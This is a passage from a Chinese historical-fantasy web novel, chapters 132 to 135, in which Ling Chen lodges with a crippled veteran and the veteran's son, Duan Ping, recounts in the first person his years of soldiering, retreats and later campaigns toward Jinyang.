马儿扬起蹄子,在草地上踏起一片黄尘,凌晨目瞪口呆的伸手大喊道:“哎!不是,你等会!!” 白千没有丝毫的停顿,就这样一路从河岸边的草地里飞奔至官道上。 直到跑的远了,白千眼眶中的泪水才敢夺眶而出,原本英姿飒爽的脸庞也憋下了嘴角,她抬起胳膊用袖子抹了一把眼泪后,无声的大哭起来,肩膀剧烈的起伏着,大口大口的吸气。 最后抿嘴憋住,抬手扬鞭,一骑绝尘。 师父,谢谢你一直以来不问缘由的照顾和提携,无论我走到哪里、身在何方,永远都是你的徒儿。 再见…… 凌晨紧皱着眉头,还保持着伸手挽留白千的姿势,却只能眼睁睁的看着她越走越远,直到在夕阳的尽头消失不见。 黄昏渐渐,隐去她素衣清浅。 从此只愿,珍重万万千。 解二半扶半拦着一动不动的凌晨,浓密胡子下的嘴巴微微张开,也被这突如其来的情况震惊到没有反应过来。直到将有些落寞的凌晨扶着坐倒在草地上后,他才明白过来。 白千……离开了。 一向鼻孔朝天的解二,此时也不免觉着心里空落落的。在不知道白千是女儿身之前,他和对方一直是凌晨的左右随从,二人也经常单独相处。 从弱小走向强大,从临颍县走向汴京城。 虽然白千不爱说话,而他是个话唠,但对方确实是自己的忠实听众,很多时候都不得不听自己聊八卦吐心声。 曾经互相帮助、一起辛苦的场景还历历在目。当初他追娘子的时候,白千还一言不发的给他丢了一袋银子呢。 友情,随着时间的发酵而积蓄。 而现在,对方面临困境时自己却帮不上忙,只能眼睁睁的看着她断然离去,这种感觉和滋味,实在难以言喻,让解二感觉有块石头堵在胸口。 有时候,解二真希望她是个男人,娘就娘点吧,不要紧。他能天天睡在二婶家门口,豁出这张脸皮不要了,磨也要磨到二婶答应把樱姑娘嫁给白千为止。 可她偏偏是个女儿身,那这就实在没办法了。奔赴的结果注定是错的,过程越努力,帮的越多,越是在害自己的好“兄弟”。 这个世界上,有太多没有答案的问题,有太多没有圆满的结局。我们能做的,只有微笑面对。 天命难违。 第132章 老兵 叫解二先回去后,凌晨坐在白千先前练操的高垄上,静静的看着夕阳被无尽的夜幕吞没,直至月出云黯,天地一片净明。 很难不emo啊,好歹也是倾注了心血的。徒弟半个儿,成不成器的…就这么离开了,多少有些难受。 黄河中的波涛缓缓流逝,月光撒落,水面泛起道道粼波,一股鱼腥味的水汽夹杂着野草的土青味钻进鼻孔,恨去日苦多,叹前路迢迢。 大郑想要一统天下,还要积攒足够的钱粮,还要对蜀、唐进行渗透和破坏,还要训练兵马、打造武器、战船、军备物资。这些都不是一两年就能够凑齐的。 待到不知道几点,反正城门已经关了,家里有婉云和青樱照顾青柠,应该没什么事,凌晨索性沿着河岸一路向西走去,直到看见了一处村庄。 这座村庄应该是京郊附属的村落,月光下,土墙、屋瓦、村树都看的真切,还能听到从村子里传来的犬吠声。 悬屋上弦月,柴扉夜叩门。 “哐哐哐~” “谁呀?” “老乡,开门呐~我是从外地来京城办事的旅人,只因路上耽搁了时间,错过了入城。不知能否在您这里借宿一宿?明日一早我就离开,另有酬钱相谢~” 开封府治下清平,虽然不至于路不拾遗,但也很久没有听说过杀人放火的事情了。 “吱呀~” 老旧的木门应该有些年头了,打开的时候发出酸牙的摩擦声,开门的是一对老夫妇,看着应该有五十多了。 老妇人胆子小,抓着老头的胳膊,偷偷用眼睛小心的打量着凌晨。老头倒像是见过世面的,上下看了看凌晨的装束,衣冠楚楚、人模人样的,应该不至于大半夜跑来村子里骗孤寡老人的钱。 “进来吧~” “多谢老丈了。” 等到凌晨孤身一人进门后,这才发现老妇人身形有些佝偻,老头的左腿似乎也有些不太方便。 这对老夫妇费力的用木条插上门闩后,老头指着院子里的左边土房对妻子说道:“你去把儿媳妇喊醒,让她给这客人下碗面条。” 凌晨听得一愣,连忙摆手道:“不不不,老丈折煞晚辈了,深夜叨扰已经失礼,怎么能劳烦至此?若是家中有馒头面饼之类的,能解解饿最好;若是没有就算了,岂能让尊媳夜半生火呢……” 老头一只手拄着拐杖,另一只手伸手压住凌晨摆个不停的手,颇为大气的说道: “既然你寻到了老汉家门前,我怎么能让你饿肚子?这事你别管了,走,随我进屋。” “哎不是,真不用…” “哎~年轻人怎么如此婆妈,要有男人的样子,走!” 我尼玛…… 凌晨无奈的被老头拉着往上房走去,就这么眼睁睁的看着老妇人去喊醒已经睡下的儿媳。 草!这不得让人家恨死自己? 下了班还要加班,这谁受的了?!反正要是换了凌晨当初在馨岛大酒店干传菜员的那时候,不往饭菜里唾一口才怪!他这还算好的,还有更抽象的变态,擤下鼻涕甩进菜里搅匀的呢…… 他已经能想象到这户人家的儿媳顶着惺忪的睡眼、烦躁的心情、皱着眉头咬牙切齿的把一整块拳头大的盐巴丢进锅里,使劲的搅,边搅还边骂:老娘让你吃!吃478! 这家人的家境水平应该算是温饱线往上的,正屋右边还分了个偏房,老两口就住在里面,外面是专门用来会客的。 墙是简陋了点,不过也用石灰抹过了,房顶也看不到茅草,至少从里面看不到。房梁上用一根巨大的木头横贯左右,再分布出细密的小木棍,两侧还有伞形支撑结构。 堂内正北挂着一副纸质泛黄的山水画,边缘已经有些翘起,明显是有些年头了。黑色的八仙桌就在山水画的正下方,摆着一些油灯、黄历和针线筐之类的杂物。 在油灯光亮的映衬下,凌晨这才看清楚眼前的老头长什么模样。 脸型瘦小,上面布满了沧桑岁月留下的痕迹,头发花白,夹杂着一两缕黑灰,但发量却很茂盛。另外,他虽然因为年级的原因身骨有些萎缩,但依然能够隐约看出年轻时的肩宽体阔。 有一股莫名的从容气度和生死看淡,应该不是一般庄稼汉。 “后生是哪里人啊?” 老头喘着气坐下来后,把自己的左腿费力的拖着摆舒服,这才一手拄着拐杖,一手翻杯为凌晨倒上水。 凌晨连忙双手接了过来,笑着说道:“我是临颍县人,今日黄昏时在城北送别了一位朋友,有些感伤,一时贪景恋思,忘了入城。多亏老丈收留,不然今夜估计要露宿野外了。” “哦~是这样……” 老丈恍然大悟,点着头说道:“如此看来,你也是个重感情的,老汉看你言谈举止,有礼有节,应该是商贾或者官宦人家的子弟吧?” “是,老丈慧眼如炬。” “唉——你有个好家世啊,不像我们这些下等人。征战一生,老了回乡务农,儿子又要去战场。再过个几年,我那小孙子,怕是也得去战场上宰人。” 呃…… “老丈年轻时……是在行伍中行走吗?” “可不就是嘛!” 老汉叹息一声,双手拄着拐杖陷入了回忆之中—— “想当年老汉像你这么大时,在大周京军中做小卒,跟着太祖爷征讨四方。后来又跟着世祖爷倚重的令辉公出关塞外,去打草原蛮子。老汉的这条腿,就是在那时被草原人的弓箭射伤的。” 凌晨望着老头的那条腿,一时间也有些恍惚。 老头还以为凌晨被震惊到了,有些得意的笑了笑,继续说道:“身上要是没有点伤疤,就算不得男人。当年从征的日子虽苦,可要说完全没滋味吧……却又不是。” 凌晨好奇的问道:“这话怎么说?” “至少草原女子的胡舞跳的就不错,那腰肢,那屁股,比咱这中原女人扛撞!” “呃……呵呵呵呵~” 老头冷不丁的爆出句荤段子,给凌晨整的有些尴尬,只能打着哈哈附和陪笑。 “那您……也撞了?” 听到凌晨这么说,老汉突然脸色一变,脾气似乎有些喜怒无常,十分生气的说道:“哼!那女人是老汉抓来的俘虏,却被我那校尉瞧上了,我又如何争的过他?临了给了我一个又黑又胖的肥妞,气的我……” 老头说着说着突然就止住了,眼睛瞥向桌子对面瞪着卡姿兰大眼睛好奇不已的凌晨,咳咳两声,不说了。 别呀!别断在这啊!我想听后续啊,哪怕付费也行啊!你他娘的倒是说下去啊! 啧吧啧吧嘴后,老头抖着花白胡子说道:“老汉我不知道今天离京的是你什么人,不过依我来看,都是他娘的放屁! 十三年前在长江边上打李家时,一个帐篷里的同袍都死光了,他们就给我换了个帐篷。结果没过几天,一场大仗下来,又只剩我一个了。 死了的那些,都是我一手带出来的小伙子啊……虽然平时我打他们骂他们,也欺负他们,但我是真不想他们死……” 凌晨看见了老头脸上闪过的一丝落寞,也不由的叹了口气。 “所以说,你看着也就二十几岁的年纪,正是干事情的时候,不要去思考那些没有用、对现实起不到一点好作用的东西,整天感慨这个怀念那个的。 这个天下,连皇帝都变了,还有什么是不能变的?能结识是好事,分开各往去处也是常理。除了生死,都是小事,不必介怀心中。” 凌晨思索着点了点头,确实是这么个理。如果有缘,自然还会再见,如果无缘,就算舍不得,那也没用。 这么一想,确实念头通达了。 “老丈贵姓?” “贵啥啊,我姓段。” “您刚才说,令郎也出征了,是去参加这次征讨孙芝了吗?” “可不是,他在马军里做个伍长。” “京军吗?” “嗯。” 凌晨缓缓直起身子,明白了过来,那是薛定手下的部队啊。 就在这时,先前那老妇人佝偻着身子,扶着门框走了进来,身后还跟着一个中年妇女,看着应该三十几的年纪,手中还端着两个碗。 凌晨连忙起身行礼:“深夜叨扰嫂子,在下惶恐万分,嫂子切莫怪罪。” 那妇人不卑不亢,不冷也不热的答道:“来了就是客人,哪里有什么麻烦不麻烦的,只是我手艺粗苯,客人不要嫌弃才是。” “岂敢岂敢~” 普通的手擀面条,打了一个荷包蛋,汤上面还飘着油花。另一个碗里是腌制的菜干,凌晨只尝出了白萝卜的,其他是什么蔬菜他没尝出来。 不过他这会确实有点饿了,于是在向这家人致谢后,便捞起筷子就狼吞虎咽的刨了起来,屋子里只剩下“呲溜呲溜”的吸面条声。 看到他吃的这么香,段老汉抚摸着胡子哈哈大笑起来,老妇人和他家儿媳妇也都捂起嘴别过头去偷笑。 民风淳朴,宾主尽欢。 但是,当段老汉第二天醒来后,就不怎么开心了。 因为一大清早,天蒙蒙亮的时候,家里竟然闯进来一个又丑又凶的壮汉子,蛮横的踢门而入,把门闩都踹断了。也不回答他的问话,就四处搜索寻找。 好生无礼! 他一怒之下举起手中的拐杖就打向这汉子,却被汉子一把抓住!眼看着就要发生冲突,还好凌晨听到动静后没有赖床,这才没让解二把段老汉当地鼠给打了。 段老汉一家人立在门口,直到凌晨在解二和五十几名护庄队的拱卫下消失在了村子尽头,依然没有缓过劲来。 良久,他低下头,后知后觉的打开凌晨临走时留给他的一个小布袋,更是一双老眼瞪的滚圆—— 整整一袋碎金豆!少说也有二三十两!! 第133章 我叫段平 我叫段平,是颍川府——开封城北——段家庄土生土长的中原汉子。 小时候,我基本看不到我爹的人影,他长年在外,只有偶尔那么一两次会回到家中。每次回来,他都会进城给我们兄妹几个买来甜粑、蜜饯和各种水果,还有肉。 听说他一直在从事宰人换钱的高危职业。宰人我没见过,宰猪我倒是见过,腊月过年的时候,村子里的大人将养肥了的猪一刀捅进脖子,鲜血咕咕往外冒,还有人用木盆接住血水。 我看着很害怕,吓得捂住自己的眼睛,但又按耐不住心中的好奇,于是就偷偷从指缝里偷瞄。 大黑猪烫完毛刮掉后,皮肤竟然会变成白色,还带着点粉嫩。也是在那个时候,我才知道肠胃五脏之类的都是些什么东西。青的红的都有,很神奇。 爹不在的日子里,娘是我们兄弟姐妹的唯一依靠。从小到大,我基本都是在麦田和村子里度过童年的时光。 最讨厌的就是去麦田,大太阳底下锄草、割麦,又累又热,简直不要太辛苦。 最开心的就是瞒着娘去黄河边玩水,尽管娘再三叮嘱不要让我们兄弟姐妹四个去河边,但同村的孩子都去,我们为什么不能去? 后来有一天,小妹因为在河岸边站的太久,陷进泥沙中,我和二妹、小弟被彻底吓傻了!想救她,却又怕自己也陷进去再也出不来,最后只能眼睁睁的看着她绝望的被软泥淹没。 娘哭了很久,还打了我们,打的可狠了!因为我们不听话。其实就算她不打我,我也已经哭的不像样子了,我知道,我再也没有小妹了。 时间总是会抚平一切伤疤,我依然带着弟弟妹妹在巷子里野,但是再也不敢去黄河边了。炊烟升起的时候,娘就会四处寻找,喊我们回家吃饭。 长大后,爹回来了,和村子里有名的媒婆聊了没多久,就给我说了个媳妇。之所以这么顺利,我觉得可能跟他随手就是两串铜钱的酬谢有关。 其实那媒婆名声也不是太好,听说以前给隔壁村的宋光棍介绍了个二十多岁的寡妇,后来寡妇拿了钱不嫁,宋光棍去找媒婆,媒婆连门都没让他进。 但好在她没有骗我爹,我媳妇也顺顺利利的嫁进了我家,我的担心都多余了。也许和我爹放在家中房梁上的那把长刀、以及屋门后的那杆长缨枪有关。 听说那杆枪的缨穗原本是白色的,至于为什么现在是红色,我也不知道。 成亲之前,我的生活是无忧无虑的,过一天是一天,在村子里和同乡年轻人聚在一起斗鸡、看村口的一群黄狗打架。 我也跟着码头边扛货物时认识的牛四哥进过开封城,闾左的伏牛街,真的把牛四哥治的服服帖帖。那里的女人是真不孬!就是价格有点贵,我攒了半年多的苦力钱,就那么被掏走了。 第一次去的时候不熟悉,也有些生涩,以至于拉皮条的让我选,我都有些害羞。牛四哥的瓦棚里已经传来了哼哼唧唧的声音,我还在纠结。 后来,我选了个微胖。 但我万万没想到,来了一座山。 自己点的,含着泪也要弄完,但说真的,消费体验极差。 有了媳妇以后,就不用花那么多的钱只为一夜风流了。我家娘子是个正经人家的好姑娘,做饭洗衣、缝袜补鞋、孝敬公婆、下地干活,乡亲们没有不夸赞她的。 她对我很好,我也很喜欢她。我们家虽然不是什么大富大贵的人家,但基本没有饿过肚子,在这个朝不保夕的年代,已经很不容易了。 我知道,这一切都是我爹用命换来的。 直到娘子怀孕后,小心翼翼的对我说,她想攒点钱,在开封城里买一座院子,哪怕是那种犯后留下的的荒芜小院也行,收拾打理后一样能住。 只有这样,以后我们的孩子才能上官学,才能识得许多字,结交更多有帮助的人,有机会做人上人。不用像我们这样辛苦种地、帮人干工,面朝黄土背朝天。 那个时候我才明白,现在该轮到我拼命了。 正巧,村子里的里正来我家要人,说是要征兵,官府派发下来的名额很多,实在避无可避。 爹老了,小弟都还没有成亲。思来想去,我作为这个家里的老大,也该挑起担子了。 由于我是良家子,所以被派发到了弓兵营。第一次握住弓箭的时候,伍长就对我说,不要求我射的有多准,但一定要比敌人先射出去。 只有这样,才能比对手多出一丝活下来的机会。 我牢牢记住了他的话,但我也记得我爹临行前对我的叮嘱:一定要比别人努力、比别人精明,最差最差,也要比别人跑得快。 跑不过敌人没关系,跑得过同袍就行了。 同一个帐篷的同袍深夜睡觉的时候,我在练箭;大军出征停驻的时候,我在练箭;兄弟们争着去火头营抢粥的时候,我在练箭。 不是我爱在伍长面前表现,也不是我卷,我只是想活下去。我的娘子还在家中等我,我的孩子还未出生,我的父母已经失去了小妹,不能再失去大郎了。 我爹说过,少听新兵蛋子吹牛逼,多听百战老兵讲过去。砍了上百人不算牛逼,从几十场大战中活了下来,那才是真牛逼! 由于我勤奋、好学,老兵们都很照顾我,欣赏我。闲暇时也愿意和我聊天,传我箭术、刀法和枪棒,教了我很多年轻同袍们嗤之以鼻的逃命技巧。 第一次上战场是在云中节度使麾下的九原府打草原人,我爹的腿就是被他们射伤落了残疾,我已经为此准备了一年之久,我很有信心把那群骑马的傻鸟射成刺猬。 但当我们交手后,我才知道自己有多傻、有多菜、有多天真。 我们箭术不好,会被赶回家种地。 他们箭术不好,会饿死在大草原。 我在用自己的职业技能,挑战他们的生存方式。 草原弓骑兵,真的是又凶又猛又疯又狠!没有铁甲覆身、没有胯下坐骑,根本无法与之抗衡!一个冲锋过后,我们这些弓兵完全就是被人家围起来的兔子,玩着杀,杀着玩。 尽管我很努力的射落了两个草原人,但弓兵方阵已经乱了,个人的勇武在集团冲锋和散骑游射面前,根本不值一提,翻不出一丁点的浪花。 好在我平时练了一双好腿,一看形势不对,立刻撒腿就跑!有一个草原人还骑马追我来着,但他明显低估了我的箭术,被我反杀后夺了马匹,这才在混乱中费尽九牛二虎之力,侥幸逃出生天。 太可怕了!! 但好在,云中军也有骑兵,而且战斗力不比草原人弱,武器装备也比他们强。我还听说云中军里的很多将士,原本就是草原人。 那一战,我学到了很多。 由于我表现优异(仗打完还活着),所以又被调往南方,加入了江淮军战斗序列,跟江南的唐国人对垒。 军营里很多同袍都说江南人都是弱鸡,个子没有草原人高,身形也没有草原人壮,我们既然能打败草原人,那唐国人还不是单手拿捏? 我不这么想,如果唐国人真那么弱,大周应该早就占领了江南才对。 这次我还是弓兵,只不过是在船上当弓兵营的伍长。 我很怕水,那种“哗哗”的流水声,让我想起了黄河边的那个下午,小妹在生命的最后时刻望向我的求救眼神,时常让我午夜惊醒,冷汗连连。 可是有什么办法呢?我已经在船上了。 于是,我又开始练箭了。 顺便还试着练习游泳和摇橹,尽管被灌了一肚子的水,鼻腔火辣辣的难受,眼泪止不住的流,双手手掌的皮肤都磨破了,但我还是没有放弃。 还是那句话,做这一切不是我想怎么样,而是我不得不这样。战船毁了不会游泳,只能等死。抢了小舟不会驾驶,只能等死。 我不想死。 长江比黄河清澈,水面明亮如镜,我趴在船边,望着水中自己的倒影,是那么的陌生又熟悉。在同袍眼中,我是个死装的另类;在下属眼中,我是个冷酷的伍长。 只有我自己知道,我还是那个在村巷里玩耍的少年,从来都没有变过。 夜风温柔,火箭如雨。 当两军短兵相接后,我们才真正认识了唐国人,他们的悍勇、无畏、疯狂和凶猛,丝毫不在草原人之下,而且他们还读过书。 是哪个王八羔子昧着良心,宣传他们是一群只会逛窑子、写花词、弱不禁风的书生的?老子回去一定要剁了他的狗头! 徽州军,让我们损失惨重。 又是一次慌不择路的大逃亡,还好江淮军的人马给力,替我们这些京军截住了追兵,这才没有全军覆没。 这次我尿裤子了,但我没跟别人说,反正是从江里游上来的,也没人能发现。 但经过这件事后,我就有点疑惑了:无论是云中军还是江淮军,这些边军的实力都很强。而我们京军这么弱,万一他们造反,我们还能压得住他们吗? 又过了几天,我听说江淮节度使也被徽州军袭击了,差点丢了小命。那么大的官也跟我一样惨,瞬间就心理平衡了。 听说救他的好像是个颍川人,还是我老乡呢~ 第134章 我的奋斗史 出征在外,有刺激惊险、也有放纵快活。每次大战之后,我都能抢到很多金银财宝。虽然会被上官克扣很多,但剩下的基本都能被随军官吏完整无缺的寄回到家里。 有时候,我也挺想家的。 也不知道娘子怎么样了,孩子长什么模样,像不像我? 以前是可以回乡探亲的,但是后来随着局势的紧张加剧,我们京军已经彻底失去了探亲资格。在襄樊打完蜀军后,又马不停蹄的调往幽州,听说卢龙节度使造反了。 我们已经打过很多次仗,与不同的对手交过战,虽然还谈不上精锐,但也已经不是菜鸟了。 说实话,大周的军队打大周的军队,让人感到厌烦和不解。 但没办法,已经走到这一步了,那就打吧~ 卢龙边军很强,但我们也绝对不弱! 谁对谁错我已经无心分辨,带领我们作战的是兵部尚书贺唯忠,在京军中的威望很高。听说他从世祖皇帝还活着的那时候起,就已经领兵作战了,指挥能力应该不会太差。 我很有信心。 我们打的很辛苦,每天都有人不断死去。今天我们杀人,明天我们被杀,你来我往,不知道什么时候是个头。 后来,晋阳军参战了。 我也亲眼看见了伫立千年的幽州城,和它背后的巍峨群山。 就在我以为,这下总可以衣锦还乡时,幽州城下出现了密密麻麻一眼望不到边的草原骑兵。 靠嫩娘!! 没完了是吧? 就在厌战情绪充斥在整个军营中时,又传来一道晴天霹雳:负责大军左翼护卫的晋阳军跑了。 他跑了~跑了~了~ 我真的很想提上刀去晋阳城,找机会剁了那个叫孙芝的狗东西!但是很可惜,没有机会。 鬼方骑兵跃马扬刀、从侧面插入北方战场,我们的粮道被截、归路被断,前线又和契丹、突厥人陷入了苦战之中,真的是要多糟糕有多糟糕。 最终,我们败了。 战无不胜的贺尚书也拔剑自刎了。 唉!还能怎么办呢?继续逃命吧! 这些年来,我已经总结出很多逃命的技巧、知识和经验。苟就苟点吧,好死不如赖活着,再说打仗时我也没退缩过,对得起朝廷了。 兵败如山倒,我看到好多溃兵趁机劫掠我们大周自己的百姓,抢劫财物、奸淫女子、甚至还有杀人泄愤的。 我隐隐觉得,世道要变了,要出大事了。 没空去管他们做什么,我现在只想赶紧回到故里,回到家人身边。身后的草原骑兵追的很紧,但他们明显挑错了人,我可不是什么新兵蛋子。 当我蓬头垢面、一脸疲惫的站在熟悉的家门口时,多年未见的娘子打开了门。 那一瞬间,一股莫名的悲伤涌上心头,我抱住她失声痛哭,鼻涕眼泪都流了下来,无助的像个孩子,像极了许多年前被娘抽打的时候。 娘子没有说什么,只是柔声安慰着我,将我迎进了家中。 爹娘也没有指责我,只是说回来就好。 再后来啊,我就一直在家里务农了,其实种田也挺好的,我不可能每次都那么幸运,能够从一场场血腥大战中全身而退。 高堂需要我赡养、娘子需要我保护、儿子需要我陪伴,其他的爱谁谁吧,都多余了。 我在城里买了个小院,客客气气的给教谕送礼,成功把儿子送进了官学。那个瘦老头还趁机多敲了我一笔竹杠,这要是换在战场上,我一刀就能送他去跟祖宗团聚。 但,战场有战场的法则,生活有生活的规矩,我懂。 除此之外,我还用自己的钱给小弟说了门亲事。听说二妹的相公不老实,拿她辛苦养蚕的钱去赌坊。于是我登门拜访了一下妹夫,好声好气的劝了他一顿,他也挺听话,再也没有去过赌坊。 白天和娘子一起下地锄草,晚上陪爹娘一起听儿子背书,夜里和娘子温存缠绵。等他们都睡下后,我披着衣服走到院子里,望着天空中的圆月,既有庆幸,也有遗憾。 庆幸的是我还活着,当年和我一起从军的人,这会应该已经能帮家里人干活了。 遗憾的是,砍了这么多年的人,逃了这么多年的命,也没能当上个小校什么的,实在可惜。 谁让我以前直愣愣的脑子转不过弯,只会砍人,不会送礼呢…… 就这样,我过了一段难得的平静日子。 直到听说安王赵世中要来我们颍川府。 本来,我对向谁交皇粮是不感兴趣的,给谁交不是交?但当我从逃难路过村子的流民口中得知睢阳府被屠成了人间炼狱后,就不这么想了。 我不可能让操劳一生的父母被人砍死,不可能让贤惠善良的娘子被人奸污,我儿子还小,他什么都不懂。 我的兄弟姐妹在这里,我的父母妻儿在这里,我的祖宗坟墓在这里,我的田园家产在这里,我小妹的灵魂,还飘荡在这里。 我从床下取出了那把伴随我征战多年的腰刀,从谷仓后面拿出被破布包裹住的弓箭,从畜栏里牵出那匹早已厌烦了圈养生活的草原马。 将全家送进开封城里的小院后,我去到颍川乡军的军营,跟他们说明了我的来意。就在我以为他们会收了我的马,把我编到城头去当炮灰时,事情的发展似乎超出了我的预料。 颍川乡军的统领刘校尉抽空亲自接见了我,在听说了我的经历后,他让我留在他的营中,伴随在他身边。 我以前参加过很多次惨烈的大战,战场上流的血真能漂起盾牌。因此对于城头上偶尔窜上来几个跳梁小丑的小场面根本不屑一顾,两箭就把他们送下了城墙。 没有走台阶,也没有走云梯。 刘校尉很欣赏我,不知道是不是错觉,我感觉他没把我当下属,而是当成了朋友。 守了几天,我有点烦躁了,我们只有几千人,听说对面有十四万。 如果只是我自己,那无所谓。别说十四万了,就是四十万又能如何? 我要是撒开腿跑起来,这帮反贼能看见我的背影,我都算他们厉害。 可我的家人还在城里,我避无可避、退无可退。 好在开封城里的颍川知府还有点担当,我跟着刘校尉在城头上巡视指挥时,经常看到他独自静坐在城头廊下,腿上放着一把剑,气定神闲、闭目不语。 虽然他的那把剑不怎么样,但我明显能感觉到,他这个人不一般。 他跟我以前遇见过的任何官员或者将军都不一样,明明外表很儒雅,却总是让人感觉到有一股大不了就去死的架势。 这种人很可怕,按当时的情况看,他是真的打算不要命了。 我扭头看向城下密密麻麻的叛军,突然就安心了,多年征战的直觉告诉我,对方不可能打赢我们。 绝不可能。 我不知道知府大人是怎么想的,对方只有一万人的时候,他让我们守城。对方全部主力到达的时候,他突然叫我们趁夜出城。 我有点懵,问刘校尉出城干嘛?逃命吗? 他只说了两个字:进攻。 进攻? 现在是十四万叛军在向我们进攻啊…… 那一夜,反贼大营火光冲天,映红了整片夜空。 从那以后,我就决定好好跟着冯知府做事了,从伍长干到百夫长、又干到了千夫长。 我们抓住了晋阳军的少主,又在邺城决战中联合江淮军和中原各部,将燕军和契丹、突厥打成了丧家之犬,趁势一路北上,横扫天下,无人能敌!! 我又看到了熟悉的幽州城。 这一次,再也没有谁能阻挡我们了,我也第一次进到了幽州城内。 刘大哥说,我们如今征战四方,和以前是不一样的。以前是为了达官贵人们的私人恩怨,现在是为了我们自己的安宁生活。 嗯……那确实不一样。 再后来,我跟随着太子进入了关中,没有任何意外,我们又在陇右把那个什么李遗景的夏军打成了满山乱窜的兔子。 站在六盘山上,望着远处的峰峦叠嶂,我突然有些感慨。 好像我引以为傲的逃命本事,已经很久没有派上用场了。 再后来,陛下登基了。 我也觉得他挺适合做皇帝的,至少在他手底下打仗,我从来都不需要逃命,该逃命的是别人。 而且,我也完成了我的梦想,成为了一名骑兵小校。 再努努力,可就是校尉了。那就完全不一样了,是从兵到官的实质性转变。 我这样的人,也能当官吗? 我最初的梦想,只是想满足娘子的愿望,在城里买个小院,让儿子能进入官学而已。 后来,我又参加了伐晋战争和陛下南征,打的孙芝瑟瑟发抖,打的唐国国主连皇帝都不想当了,这是以前从来没有发生过的事情。 听说那群牛逼哄哄的徽州军被关东来的青州军打的丢盔弃甲,那位姓王的琅琊郡公,也是个不得了的人物啊! 我什么时候也能像他那么厉害就好了…… 唉,先不想了,冯尚书已经出来了,我也该去他身边护卫了。 我们刚刚经过潞州,正在向晋阳进发。营寨柱子的尖头上停着东张西望的飞鸟,大股骑兵人喊马嘶的冲出寨门,紧接着是甲胄整齐、旗帜烈烈、刀枪闪着白光的步卒。 谷底和山坡上,漫山遍野到处都是我们的人马,听说晋阳军只有五万人,胜算还是很大的,不过还是要小心点。 冯大人说,这次我们一共出动了十七万个兄弟,要对孙芝进行从生理到心理的物理关爱。 我早在几年前就想这么干了! 第135章 夕阳正浓 从武乡到榆社,路途不是很遥远。 但我们走的很慢。 晋阳军最强的骁骑营挡在我们前方,这些人悍不畏死,令行禁止,给我们中路军造成了很大的麻烦。冯大人都有些上火了,好几次我都看到他有亲自拔剑的冲动。 乱战之中,敌军一名弓骑注意到了伞盖下的他,在被我们的人砍下马来之前,射出了手中的羽箭。 我当时也来不及思考那么多,只是本能的搭弓张箭,一箭将那支飞向冯大人的箭簇射落在地上。 我承认,我有赌的成分,幸亏运气还可以,没有失手。直到射完以后,我才感到手心有点冒汗。 但是冯大人和兄弟们却不知道我内心的真实想法,他们见到这一幕后,纷纷拍手叫好,夸我箭术精湛、百步穿杨。我只能嘿嘿一笑,掩饰心中的忐忑和后怕。 敌人很强,真的很强。 可他们的数量实在太少了,在禁军一波接一波的冲击下,他们终于支撑不住,败军向北而去。 我们又能继续前进了。 在我们左边的旷野上,无数的骑兵身着铠甲,骑在马背上“隆隆”前行,卷起的烟尘遮天蔽日,铠甲的鳞片反射着阳光,嘈杂的人声、蹄声混杂着冲天的草粪味扑面而来,那是马军都指挥使薛定的部下,也算是我的婆家吧。 在我们的右边,巩义县男贾骐正率领着他的乡军穿越密林。参天古木将整个地面遮蔽,阳光都晒不进去,一片昏暗。只能从林间光影中依稀看到大军迤逦前行的身影。 洛阳的兵马也很厉害,多次站在前方阻挡住了敌人的骑兵冲锋,他们的军纪比我们禁军还要严格。 也不知道西路军和东路军是何等的风采,想来也不会比我们差多少。看到这么多威武雄壮、能征善战的同袍,我觉得孙芝应该是要完了。 武乡县城墙不高,但是抵抗却异常激烈,冯大人亲自到城下劝降,却被骂了回来,所以心情不是很好。 我离得近,隐约听到了他低声咒骂对方守城将领是个“不识数的腌臜胚”。 想不到他这样的大文官,也有出口成脏的一面…… 三通鼓罢,号角声传遍战场,无数抬着梯子、举着刀兵、盾牌的兄弟怒喊着冲向了武乡县城,喊杀声震动天际,让我也不由自主的激动了起来,身体里隐藏着一种不安的蠢蠢欲动。 城墙上的箭矢像铺天盖地的蝗虫一样扑向我们的人,顷刻间就射倒了一大片,我们的弓兵也在盾兵的掩护下部署到了射程之内。 与敌人的自由发挥不同,我们是全营齐射的。站在远处,我看到一片黑云从地面上瞬间腾起,像是一群被惊飞的麻雀,平地起飞剑,直上九云天。 一时间,城墙垛子上掉下来好多人。 后方投石车的将领举起手中的长枪在空中挥摇,下一刻,漫天巨石裹着燃烧的火油,冒着巨大的炬焰、拖着黑色的尾烟,在空中划出数十道绚丽璀璨的流星雨。 无数人举着盾牌顺着梯子往城头上爬,上面的人也在向下扔擂石滚木,不断有人从高空跌落,也不断有人先登城头,在上面引起一阵混乱。 宽阔的攻城车冒着浓烟、插满箭矢,在死伤了一地兄弟后,终于到了城门前。随着“咚”、“咚”、“咚”的撞门声传来,双方的搏杀更激烈了,已经陷入到失去思考的狂热中。 “轰——” 随着半扇城门轰然倒塌,另一扇也歪曲变形、斜挂在一边,城门洞子那里爆发出了这个世界上最原始的愤怒和嘶吼,洛阳乡军在贾骐的带领下向鱼群一样争先恐后的涌进了城门里,整个战场喧嚣吵嚷到了极点。 我骑在马上,立在冯大人身边,闭上眼睛试图让喧嚣保持安静。 我一直都喜欢安静。 武乡守将是个硬骨头,宁死不降,冯大人亲自劝解了好久,他依然梗着脖子一声不吭。我有点佩服他,他是对手,也是个顶天立地的男人。 迫于无奈,冯大人让我亲自送他上路。我抽出自己的兵器,用这把沾满鲜血的利刃,挥出了最具敬意的一刀。 山高路远坑深,大军纵横驰奔。 城小人少的武乡县抵抗顽强,给我们造成了巨大的麻烦和不小的损失。城高壑深、兵精粮足的榆社知县和守城将领,竟然早早的就把自己绑起来跪在城门外,向我们投降了。 真是让人唏嘘不已。 之前我还在想,晋阳府到处都是凹凸不平的山地,道路崎岖、交通不便,物资匮乏、地寒民贫,有些地方甚至全是悬崖峭壁,我们为什么一定要费时费力的打下这里? 这个想法一直萦绕在我的脑海中,不得其解。 直到我们走出太行山脉,看到了晋阳城,以及它南边的千里平原。我这才明白过来,这些天我们经过的地方,只是它的橘子皮。 干涩、褶皱的外表里,包裹着甘甜、湿润的果肉。 这里的富庶,不比我们颍川差。 这里的城关,比幽州城还巍峨。 雄藩巨镇,三晋都会,龙城自古繁华。巽水烟波,蒙山晓月,缤纷十里如画。峰峦环都邑,汾水绕关斜,拊扼天下。雨霁凭栏,青史悠悠似云霞。 